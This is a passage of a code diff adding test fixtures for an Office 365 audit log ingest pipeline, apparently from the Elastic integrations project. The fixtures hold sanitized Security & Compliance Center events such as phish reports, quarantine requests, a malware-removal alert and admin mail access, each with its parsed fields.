Auth\\\",\\\"Value\\\":\\\"fail\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"account@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Activity_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"User reported message as malicious 'subject' for 'Phish'\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"312\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}", + "outcome": "success", + "provider": "AirInvestigation", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "CreationTime": "2023-12-31T23:59:59", + "Data": { + "flattened": { + "AlertDisplayName": "Email reported by user as malware or phish", + "AlertType": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Category": "ThreatManagement", + "ConfidenceLevel": "Unknown", + "ConfidenceScore": 1, + "CorrelationKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Description": "This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3", + "EndTimeUtc": "2023-12-31T23:59:59Z", + "Entities": [ + { + "$id": "3", + "AdditionalActionsAndResults": [ + "OriginalDelivery: [N/A]" + ], + "AntispamDirection": "Inbound", + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Pass" + }, + { + "Name": "DKIM", + "Value": "None" + }, + { + "Name": "DMARC", + "Value": "Fail" + }, + { + "Name": "Comp Auth", + "Value": "fail" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "DeliveryAction": "Delivered", + "DeliveryLocation": "Inbox", + "FirstSeen": "2023-12-31T23:59:59", + "InternetMessageId": "", + "Language": "nb", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": "Inbox", + "P1Sender": "<>", + "P2Sender": "bounce@example.com", + "P2SenderDisplayName": "name", + "P2SenderDomain": "example.com", + "PhishConfidenceLevel": "High", + "ReceivedDate": "2023-12-31T23:59:59", + "Recipient": "user@example.com", + "Sender": "bounce@example.com", + "SenderIP": "81.2.69.144", + "Source": "OATP", + "Subject": "subject", + "ThreatDetectionMethods": [ + "MLModel" + ], + "Threats": [ + "HighConfPhish" + ], + "Type": "mailMessage", + "Urls": [ + "hxxp://test.local", + "hxxp://test.local", + "hxxp://test.local" + ], + "Urn": "urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + { + "$id": "4", + "AadId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "FirstSeen": "2023-12-31T23:59:59", + "MailboxPrimaryAddress": "user@example.com", + "RiskLevel": "None", + "Source": "OATP", + "Type": "mailbox", + "Upn": "account@example.com", + "Urn": "urn:UserEntity:abcdef1234567890abcdef1234567890" + } + ], + "ExtendedLinks": [ + { + "Href": "https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Label": "alert", + "Type": "webLink" + } + ], + "Intent": "Probing", + "InvestigationIds": [ + "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890" + ], + "Investigations": [ + { + "$id": "1", + "Id": "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationStatus": "Running" + } + ], + "IsIncident": false, + "LogCreationTime": "2023-12-31T23:59:59.0000000Z", + "MachineName": "ABCDEFGHIJK", + "ProcessingEndTime": "2023-12-31T23:59:59.0000000Z", + "ProviderAlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ProviderName": "OATP", + "ResourceIdentifiers": [ + { + "$id": "2", + "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Type": "AAD" + } + ], + "Severity": "Low", + "SourceAlertType": "System", + "SourceTemplateType": "Activity_Single", + "StartTimeUtc": "2023-12-31T23:59:59Z", + "Status": "InProgress", + "TimeGenerated": "2023-12-31T23:59:59.00Z", + "VendorName": "Microsoft", + "Version": "3.0" + } + }, + "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890", + "EndTimeUtc": "2023-12-31T23:59:59.000Z", + "InvestigationId": "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890", + "InvestigationName": "User reported message as malicious 'subject' for 'Phish'", + "InvestigationType": "SubmissionInvestigation", + "LastUpdateTimeUtc": "2023-12-31T23:59:59.000Z", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OriginalDeliveryLocation": [ + "Inbox" + ], + "PhishConfidenceLevel": [ + "High" + ], + "RecordType": "64", + "RunningTime": "312", + "StartTimeUtc": "2023-12-31T23:59:59.000Z", + "Status": "Running", + "ThreatDetectionMethods": [ + "MLModel" + ], + "UserId": "AirInvestigation", + "UserKey": "AirInvestigation", + "UserType": "4", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "account@example.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "email": [ + "user@example.com" + ], + "id": "AirInvestigation" + } + } + ] +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json new file mode 100644 index 00000000000..16e68b3dd95 --- /dev/null +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json @@ -0,0 +1,305 @@ +{ + "events": [ + { + "event": { + "original": "{\"Status\":\"Active\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"AlertLinks\":[{\"AlertLinkHref\":\"http://example.net/alert\"}],\"Severity\":\"Informational\",\"Data\":\"{\\\"f3u\\\":\\\"user@example.com\\\",\\\"etq\\\":\\\"0\\\",\\\"ts\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"op\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"wl\\\":\\\"Quarantine\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tdc\\\":\\\"1\\\",\\\"reid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"wsrt\\\":\\\"2024-12-31T23:59:59\\\",\\\"mdt\\\":\\\"Audit\\\",\\\"rid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"cid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ad\\\":\\\"A user has requested to release an email from quarantine. -V1.0.0.1\\\",\\\"lon\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"an\\\":\\\"User requested to release a quarantined message\\\",\\\"sev\\\":\\\"Informational\\\"}\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertTriggered\",\"Source\":\"Office 365 Security & Compliance\",\"Name\":\"User requested to release a quarantined message\",\"Workload\":\"SecurityComplianceCenter\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2024-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}" + }, + "o365audit": { + "Status": "Active", + "Category": "ThreatManagement", + "ResultStatus": "Succeeded", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Comments": "New alert", + "UserKey": "SecurityComplianceAlerts", + "AlertLinks": [ + { + "AlertLinkHref": "http://example.net/alert" + } + ], + "Severity": "Informational", + "Data": "{\"f3u\":\"user@example.com\",\"etq\":\"0\",\"ts\":\"2024-12-31T23:59:59.0000000Z\",\"te\":\"2024-12-31T23:59:59.0000000Z\",\"op\":\"QuarantineRequestReleaseMessage\",\"wl\":\"Quarantine\",\"tid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"tdc\":\"1\",\"reid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"wsrt\":\"2024-12-31T23:59:59\",\"mdt\":\"Audit\",\"rid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"cid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ad\":\"A user has requested to release an email from quarantine. -V1.0.0.1\",\"lon\":\"QuarantineRequestReleaseMessage\",\"an\":\"User requested to release a quarantined message\",\"sev\":\"Informational\"}", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "AlertTriggered", + "Source": "Office 365 Security & Compliance", + "Name": "User requested to release a quarantined message", + "Workload": "SecurityComplianceCenter", + "AlertType": "System", + "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "RecordType": 40, + "Version": 1, + "UserId": "SecurityComplianceAlerts", + "CreationTime": "2024-12-31T23:59:59", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4, + "PolicyId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + } + }, + { + "event": { + "original": "{\"Status\":\"Investigating\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"Data\":\"{\\\"etype\\\":\\\"MalwareFamily\\\",\\\"at\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"md\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"sip\\\":\\\"81.2.69.144\\\",\\\"ms\\\":\\\"subject\\\",\\\"imsgid\\\":\\\"\\\",\\\"ttdt\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"ttr\\\":\\\"Success_MessageQuarantined\\\",\\\"dm\\\":\\\"FileHashList\\\",\\\"eid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\\\",\\\"aii\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"thn\\\":\\\"Spam,Phish,Malicious\\\",\\\"ts\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"tpfv\\\":\\\"Block\\\",\\\"fvs\\\":\\\"Tenant\\\",\\\"tpfc\\\":\\\"ETR\\\",\\\"tpt\\\":\\\"HostedContentFilterPolicy\\\",\\\"tpvpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tht\\\":\\\"Spam,Phish,Malicious\\\",\\\"trc\\\":\\\"user@example.com\\\",\\\"tsd\\\":\\\"sender@example.com\\\",\\\"zmfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zmfn\\\":\\\"untitled.dat\\\",\\\"zfn\\\":\\\"untitled.dat\\\",\\\"tdc\\\":\\\"1\\\",\\\"cpid\\\":null,\\\"lon\\\":\\\"Protection\\\"}\",\"Severity\":\"Informational\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertEntityGenerated\",\"AlertEntityId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Source\":\"Office 365 Security & Compliance\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"Email messages containing malicious file removed after delivery\",\"EntityType\":\"MalwareFamily\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}" + }, + "o365audit": { + "Status": "Investigating", + "Category": "ThreatManagement", + "ResultStatus": "Succeeded", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2", + "Comments": "New alert", + "UserKey": "SecurityComplianceAlerts", + "Data": "{\"etype\":\"MalwareFamily\",\"at\":\"2022-12-31T23:59:59.0000000Z\",\"md\":\"2022-12-31T23:59:59.0000000Z\",\"sip\":\"81.2.69.144\",\"ms\":\"subject\",\"imsgid\":\"\",\"ttdt\":\"2022-12-31T23:59:59.0000000Z\",\"ttr\":\"Success_MessageQuarantined\",\"dm\":\"FileHashList\",\"eid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"aii\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"thn\":\"Spam,Phish,Malicious\",\"ts\":\"2022-12-31T23:59:59.0000000Z\",\"te\":\"2022-12-31T23:59:59.0000000Z\",\"tpfv\":\"Block\",\"fvs\":\"Tenant\",\"tpfc\":\"ETR\",\"tpt\":\"HostedContentFilterPolicy\",\"tpvpid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"tpid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2\",\"tid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"tht\":\"Spam,Phish,Malicious\",\"trc\":\"user@example.com\",\"tsd\":\"sender@example.com\",\"zmfh\":\"a1b2c3d4e5f6g7h8i9jakblc\",\"zfh\":\"a1b2c3d4e5f6g7h8i9jakblc\",\"zmfn\":\"untitled.dat\",\"zfn\":\"untitled.dat\",\"tdc\":\"1\",\"cpid\":null,\"lon\":\"Protection\"}", + "Severity": "Informational", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "AlertEntityGenerated", + "AlertEntityId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2", + "Source": "Office 365 Security & Compliance", + "Workload": "SecurityComplianceCenter", + "Name": "Email messages containing malicious file removed after delivery", + "EntityType": "MalwareFamily", + "AlertType": "System", + "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "RecordType": 40, + "Version": 1, + "UserId": "SecurityComplianceAlerts", + "CreationTime": "2022-12-31T23:59:59", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4, + "PolicyId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + } + }, + { + "event": { + "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}" + }, + "o365audit": { + "DatabaseType": "Directory", + "UserKey": "1111111111111111", + "ResultCount": "13", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "Search", + "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Workload": "SecurityComplianceCenter", + "RecordType": 52, + "Version": 1, + "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "CreationTime": "2022-12-31T23:59:59", + "DataType": "TrialOfferEligibility", + "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 0 + } + }, + { + "event": { + "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}" + }, + "o365audit": { + "DatabaseType": "Directory", + "UserKey": "1111111111111111", + "ResultCount": "13", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "Search", + "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Workload": "SecurityComplianceCenter", + "RecordType": 52, + "Version": 1, + "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "CreationTime": "2022-12-31T23:59:59", + "DataType": "TrialOfferEligibility", + "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 0 + } + }, + { + "event": { + "original": "{\"SenderIP\":\"81.2.69.144\",\"Recipients\":\"[user@example.com]\",\"SubmissionState\":\"Rescaned\",\"RescanResult\":{\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Timestamp\":\"2022-12-31T23:59:59\",\"RescanVerdict\":\"NotSpam\"},\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"UserSubmission\",\"P2Sender\":\"sender name \",\"ExtendedProperties\":[{\"Value\":\"1111111111111111\",\"Name\":\"KesMailId\"},{\"Value\":\"AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE\",\"Name\":\"FingerprintData\"},{\"Value\":\"Email\",\"Name\":\"SubmissionCategory\"},{\"Value\":\"NotSpam\",\"Name\":\"RescanVerdict\"},{\"Value\":\"Microsoft\",\"Name\":\"SubmissionSource\"},{\"Value\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Name\":\"SubmissionId\"},{\"Value\":\"Allow\",\"Name\":\"OriginalVerdict\"}],\"SubmissionConfidenceLevel\":\"1\",\"RecordType\":\"29\",\"SubmissionContentSubType\":\"MsftAndCustomMbxSubmission\",\"Language\":\"en\",\"Version\":\"1\",\"SubmitterId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1Sender\":\"sender@example.com\",\"P2SenderDomain\":\"example.com\",\"MessageDate\":\"2022-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1SenderDomain\":\"example.com\",\"Subject\":\"subject\",\"Workload\":\"SecurityComplianceCenter\",\"BCLValue\":\"0\",\"FilteringDate\":\"2022-12-31T23:59:59\",\"UserId\":\"user@example.com\",\"InternetMessageId\":\"\",\"KesMailId\":\"1111111111111111\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SubmissionId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SubmissionType\":\"0\",\"SubmissionContentType\":\"Mail\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}" + }, + "o365audit": { + "SenderIP": "81.2.69.144", + "Recipients": [ + "user@example.com" + ], + "SubmissionState": "Rescaned", + "RescanResult": { + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Timestamp": "2022-12-31T23:59:59", + "RescanVerdict": "NotSpam" + }, + "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "UserSubmission", + "P2Sender": "sender name ", + "ExtendedProperties": [ + { + "Value": "1111111111111111", + "Name": "KesMailId" + }, + { + "Value": "AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE", + "Name": "FingerprintData" + }, + { + "Value": "Email", + "Name": "SubmissionCategory" + }, + { + "Value": "NotSpam", + "Name": "RescanVerdict" + }, + { + "Value": "Microsoft", + "Name": "SubmissionSource" + }, + { + "Value": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Name": "SubmissionId" + }, + { + "Value": "Allow", + "Name": "OriginalVerdict" + } + ], + "SubmissionConfidenceLevel": "1", + "RecordType": 29, + "SubmissionContentSubType": "MsftAndCustomMbxSubmission", + "Language": "en", + "Version": 1, + "SubmitterId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "P1Sender": "sender@example.com", + "P2SenderDomain": "example.com", + "MessageDate": "2022-12-31T23:59:59", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "P1SenderDomain": "example.com", + "Subject": "subject", + "Workload": "SecurityComplianceCenter", + "BCLValue": "0", + "FilteringDate": "2022-12-31T23:59:59", + "UserId": "user@example.com", + "InternetMessageId": "", + "KesMailId": "1111111111111111", + "CreationTime": "2022-12-31T23:59:59", + "SubmissionId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "SubmissionType": "0", + "SubmissionContentType": "Mail", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 0 + } + }, + { + "event": { + "original": "{\"CmdletVersion\":\"1.2\",\"Parameters\":\"-Identity \\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ResultStatus\":\"Success\",\"UserKey\":\"account@example.com\",\"StartTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Get-QuarantineMessage\",\"Workload\":\"SecurityComplianceCenter\",\"NonPIIParameters\":\"-Identity \\\"\\\"\",\"EffectiveOrganization\":\"example.com\",\"ClientApplication\":\"EMC\",\"UserServicePlan\":\"\",\"RecordType\":\"18\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SecurityComplianceCenterEventType\":\"0\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\"}" + }, + "o365audit": { + "CmdletVersion": "1.2", + "Parameters": "-Identity \"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ResultStatus": "Success", + "UserKey": "account@example.com", + "StartTime": "2022-12-31T23:59:59", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "Get-QuarantineMessage", + "Workload": "SecurityComplianceCenter", + "NonPIIParameters": "-Identity \"\"", + "EffectiveOrganization": "example.com", + "ClientApplication": "EMC", + "UserServicePlan": "", + "RecordType": 18, + "Version": 1, + "UserId": "account@example.com", + "CreationTime": "2022-12-31T23:59:59", + "SecurityComplianceCenterEventType": "0", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 2 + } + }, + { + "event": { + "original": "{\"ObjectType\":\"EMail\",\"RecordType\":\"38\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AdminMailAccess\",\"UserType\":\"2\",\"ExtendedProperties\":[{\"Value\":\"True\",\"Name\":\"DownloadEMail\"},{\"Value\":\"user@example.com\",\"Name\":\"MailboxId\"},{\"Value\":\"%3Cbase64%40example.com%3E\",\"Name\":\"InternetMessageId\"}],\"Workload\":\"SecurityComplianceCenter\"}" + }, + "o365audit": { + "ObjectType": "EMail", + "RecordType": 38, + "Version": 1, + "UserId": "account@example.com", + "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "CreationTime": "2022-12-31T23:59:59", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "AdminMailAccess", + "UserType": 2, + "ExtendedProperties": [ + { + "Value": "True", + "Name": "DownloadEMail" + }, + { + "Value": "user@example.com", + "Name": "MailboxId" + }, + { + "Value": "%3Cbase64%40example.com%3E", + "Name": "InternetMessageId" + } + ], + "Workload": "SecurityComplianceCenter" + } + }, + { + "event": { + "original": "{\"AdditionalData\":[{\"Value\":\"5555\",\"Name\":\"InsightType\"}],\"Description\":\"X new remote domain(s) started receiving forwarded emails from your organization.\",\"Category\":\"MailFlow\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserKey\":\"SecurityComplianceInsights\",\"InsightId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Severity\":\"High\",\"Operation\":\"InsightGenerated\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"New domains being forwarded emails\",\"RecordType\":\"42\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceInsights\",\"CreationTime\":\"2022-12-31T23:59:59\",\"InsightData\":[{\"Type\":\"None\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\"}" + }, + "o365audit": { + "AdditionalData": [ + { + "Value": "5555", + "Name": "InsightType" + } + ], + "Description": "X new remote domain(s) started receiving forwarded emails from your organization.", + "Category": "MailFlow", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserKey": "SecurityComplianceInsights", + "InsightId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Severity": "High", + "Operation": "InsightGenerated", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Workload": "SecurityComplianceCenter", + "Name": "New domains being forwarded emails", + "RecordType": 42, + "Version": 1, + "UserId": "SecurityComplianceInsights", + "CreationTime": 